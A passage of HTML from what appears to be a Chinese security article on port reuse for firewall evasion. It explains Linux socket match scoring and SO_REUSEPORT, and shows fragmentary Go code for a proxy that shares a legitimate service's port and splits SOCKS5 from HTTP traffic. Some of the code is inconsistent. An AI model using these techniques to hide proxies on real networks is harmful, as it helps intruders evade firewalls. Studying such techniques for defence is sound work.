class="code-snippet__attr">}</span></span></code></pre></section><p cid="n32" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">其中 sk_nulls_for_each_rcu 是在遍历所有 hash 值相同的 listen 状态的 socket。注意看 compute_score 这个函数，这里是计算匹配分。当有多个 socket 都命中的时候，匹配分高的优先命中。我们来看一下这个函数里的一个细节。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__comment">//file: net/ipv4/inet_hashtables.c</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">inline</span> <span class="code-snippet__keyword">int</span> <span class="code-snippet__title">compute_score</span><span class="code-snippet__params">(struct sock *sk, ...)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"> <span class="code-snippet__keyword">int</span> score = <span class="code-snippet__number">-1</span>;</span></code><code><span class="code-snippet_outer"> <span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">inet_sock</span> *<span class="code-snippet__title">inet</span> = <span class="code-snippet__title">inet_sk</span>(<span class="code-snippet__title">sk</span>);</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__keyword">if</span> (net_eq(sock_net(sk), net) &amp;&amp; inet-&gt;inet_num == hnum &amp;&amp;</span></code><code><span class="code-snippet_outer">   !ipv6_only_sock(sk)) {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">//如果服务绑定的是 0.0.0.0，那么 rcv_saddr 为假</span></span></code><code><span class="code-snippet_outer">  __be32 rcv_saddr = inet-&gt;inet_rcv_saddr;</span></code><code><span class="code-snippet_outer">  score = sk-&gt;sk_family == PF_INET ? <span class="code-snippet__number">2</span> : <span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> (rcv_saddr) {</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">if</span> (rcv_saddr != daddr)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">-1</span>;</span></code><code><span class="code-snippet_outer">   score += <span class="code-snippet__number">4</span>;</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  ... </span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> <span class="code-snippet__keyword">return</span> score;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p cid="n32" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">demo如下：</span></p><pre spellcheck="false" lang="text" cid="n49" mdtype="fences" style="margin-top: 15px;padding: 8px 4px 6px;line-height: 2em;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;width: inherit;color: rgb(51, 51, 51);letter-spacing: normal;"><p><span style="font-size: 14px;">A 进程：./test-server 10.0.0.2 6000</span></p><p><span style="font-size: 14px;">B 进程：./test-server 0.0.0.0 6000</span></p><p><span style="font-size: 14px;">C 进程：./test-server 127.0.0.1 6000</span></p></pre><p cid="n32" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;"></span></p><p cid="n47" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">此时A、C进程的绑定方式为4分，B为2分，因此当目标主动访问10.0.0.2网卡时，将由进程A消费。假设主机还有一个192.0.0.2的网卡地址，当访问这个地址时，A C均不得分，B得2分，此时没有更高分数的情况下将由B完成消费。</span></p><p cid="n48" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">那么假如存在如下情况：</span></p><pre spellcheck="false" lang="text" cid="n49" mdtype="fences" style="margin-bottom: 0px;line-height: 2em;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-top: 15px;width: inherit;color: rgb(51, 51, 51);letter-spacing: normal;"><span style="font-family: var(--monospace);font-size: 0.9em;">A 进程：./test-server 10.0.0.2 6000<br/>B 进程：./test-server 0.0.0.0 6000<br/>C 进程：./test-server 10.0.0.2 6000</span></pre><p cid="n50" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">此时A C均绑定的10.0.0.2网卡，当有请求访问时，就由内核以随机的方式进行负载均衡随机分配到A C进程中了。</span></p><p cid="n51" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">当我们使用两个不同权限用户绑定相同端口时，则会绑定失败。因此上述方法对权限有要求。</span></p><p cid="n52" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">总结一下，如果想完美使用SO_REUSEPORT特性实施端口复用，需要找到一个开启了SO_REUSEPORT配置的合法进程，且该进程监听0.0.0.0，并且处于同一用户权限下。</span></p><h3 cid="n53" mdtype="heading" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">MAC系统</span></strong></h3><p cid="n54" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">   在macOS中，默认允许多个进程可以绑定到相同的端口，而无需特殊配置，当有传入连接到达时，操作系统会根据某种负载均衡算法将连接分发给其中一个进程。因此可以跳过SO_REUSEPORT配置，快进到调度优先级配置部分。例如两个进程A、B，同时监听8888端口，其中A绑定10.10.1.2,B绑定0.0.0.0，将优先调度A的socket进行通信。</span></p><h3 cid="n55" mdtype="heading" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">复用端口构造代理</span></strong></h3><p cid="n56" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: justify;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">复用合法应用的端口我们需通过netstat查找绑定在0.0.0.0的端口服务，然后启用代理，做流量分析，符合代理特征的流量我们留下解析，属于源端口的流量我们转发到源端口，实现方式跟通过iptables同理。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.9248826291079812" data-s="300,640" style="width: 459px;height: 425px;" data-type="png" data-w="639" src="https://wechat2rss.xlab.app/img-proxy/?k=98064773&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRDWvia9tibqtz7dGq9gy57lpctI1paN1fCznOrukichJlzG8nsUZQ6pchaKzgSQibE1KSIPNocWahIyg%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 端口监听相关代码片段</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">listener, err := net.Listen(<span class="code-snippet__string">&#34;tcp&#34;</span>, <span class="code-snippet__string">&#34;:8080&#34;</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">panic</span>(err)</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 获取原始的网络文件描述符</span></span></code><code><span class="code-snippet_outer">file, err := listener.(*net.TCPListener).File()</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">panic</span>(err)</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">fd := <span class="code-snippet__keyword">int</span>(file.Fd())</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 设置 SO_REUSEPORT</span></span></code><code><span class="code-snippet_outer">err = syscall.SetsockoptInt(fd, syscall.SOL_SOCKET, syscall.SO_REUSEPORT, <span class="code-snippet__number">1</span>)</span></code></pre></section><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;white-space: pre-wrap;outline: 0px;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;font-size: 17px;visibility: visible;">基于协议限制的防火墙策略绕过</span></h2><p style="margin-bottom: 16px;text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;white-space-collapse: preserve;text-align: justify;">上文主要对基于端口限制的代理端口复用方式进行分析，还有一种场景是基于协议限制的策略，这种场景下假设我们可以通过某种方式访问到代理端口，此时我们的代理需要在监听接收到的连接请求进行协议分析，根据不同协议调用不同的handler处理逻辑，实现绕过（针对TCP/IP层以上的通信协议）。</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.23903508771929824" data-s="300,640" style="" data-type="png" data-w="912" src="https://wechat2rss.xlab.app/img-proxy/?k=2af4b9e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRDWvia9tibqtz7dGq9gy57lpx5kORs8RzYgicJfhsJc1p7rGN9nvxO4OsgypvpDcwNljhKyI2kRpo7Q%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> main</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">server</span><span class="code-snippet__params">()</span></span> {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// 开始监听8080端口</span></span></code><code><span class="code-snippet_outer">  listener, err := net.Listen(<span class="code-snippet__string">&#34;tcp&#34;</span>, <span class="code-snippet__string">&#34;:8080&#34;</span>)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">    log.Fatal(err)</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">for</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 接受一个客户端连接</span></span></code><code><span class="code-snippet_outer">    client, err := listener.Accept()</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">      log.Fatal(err)</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">go</span> handleClientRequest(client)</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">isSocks5</span><span class="code-snippet__params">(conn net.Conn)</span> <span class="code-snippet__params">(<span class="code-snippet__keyword">bool</span>, error)</span></span> {</span></code><code><span class="code-snippet_outer">    buf := <span class="code-snippet__built_in">make</span>([]<span class="code-snippet__keyword">byte</span>, <span class="code-snippet__number">2</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 读取前两个字节</span></span></code><code><span class="code-snippet_outer">    _, err := io.ReadFull(conn, buf)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>, err</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 检查版本号和方法数量</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> buf[<span class="code-snippet__number">0</span>] == <span class="code-snippet__number">0x05</span>, <span class="code-snippet__literal">nil</span></span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">handleClientRequest</span><span class="code-snippet__params">(client net.Conn)</span></span> {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">defer</span> client.Close()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// 检查是否为SOCKS5</span></span></code><code><span class="code-snippet_outer">  isSocks5, buf, err := checkSocks5(client)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">    log.Println(err)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span></span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  r, w := net.Pipe()</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// 创建一个新的 goroutine，将 clientReader 的数据写入 Pipe</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">go</span> <span class="code-snippet__function"><span class="code-snippet__keyword">func</span><span class="code-snippet__params">()</span></span> {</span></code><code><span class="code-snippet_outer">    _, err := io.Copy(w, clientReader)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">      logger.Logger.Infof(<span class="code-snippet__string">&#34;Error copying clientReader to Pipe:&#34;</span>, err)</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__comment">// 处理错误</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }()</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">go</span> <span class="code-snippet__function"><span class="code-snippet__keyword">func</span><span class="code-snippet__params">()</span></span> {</span></code><code><span class="code-snippet_outer">    _, err := io.Copy(conn, w)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">      logger.Logger.Infof(<span class="code-snippet__string">&#34;Error copying clientReader to Pipe:&#34;</span>, err)</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__comment">// 处理错误</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }()</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 创建一个MultiReader，它首先读取已经读取的字节，然后再读取原始连接</span></span></code><code><span class="code-snippet_outer">  clientReader := io.MultiReader(bytes.NewReader(buf), client)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> !isSocks5 {</span></code><code><span class="code-snippet_outer">    log.Println(<span class="code-snippet__string">&#34;Not a SOCKS5 connection&#34;</span>)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">go</span> httpHandler(r, ctx)</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">go</span> socks5Handler(r, ctx)</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// socks5代理</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">socks5Handler</span><span class="code-snippet__params">(conn net.conn, ctx)</span></span> {...}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// http代理</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">httpHandler</span><span class="code-snippet__params">(conn net.conn, ctx)</span></span> {...}</span></code></pre></section><p cid="n32" mdtype="paragraph" style="margin-bottom: 16px;text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;white-space-collapse: preserve;text-align: justify;">此时我们就完成了在同一个代理进程中使用不同代理协议的端口复用实现。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;white-space: pre-wrap;outline: 0px;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;font-size: 17px;visibility: visible;">参考链接</span></h2><p style="margin-bottom: 16px;text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;text-align: justify;white-space-collapse: preserve;text-indent: 0em;">· </span><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;text-align: justify;white-space-collapse: preserve;text-indent: 0em;"><a href="https://www.freebuf.com/articles/web/261429.htm" target="_blank">https://www.freebuf.com/articles/web/261429.htm</a></span><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;text-align: justify;white-space-collapse: preserve;text-indent: 0em;">l</span><br/></p><p cid="n32" 